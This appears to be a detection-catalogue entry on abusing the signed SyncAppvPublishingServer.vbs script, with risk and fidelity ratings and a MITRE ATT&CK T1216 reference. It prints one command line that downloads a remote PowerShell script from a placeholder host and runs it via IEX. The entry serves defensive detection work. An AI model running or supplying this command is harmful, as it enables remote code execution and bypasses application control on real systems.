Command Line
SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"
Description
Abuse SyncAppvPublishingServer.vbs to launch an arbitrary remotely-hosted PowerShell script.
Risk
High
Risk Reason
Manual usage of this binary is suspicious, especially with remote payloads.
Fidelity
High
Fidelity Reason
This is typically a rare operation in most organizations.
Operating Systems
Killchain Phases
References
MITRE ATT&CK TECHNIQUES
URL: https://attack.mitre.org/techniques/T1216
Description: Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)
Tactics: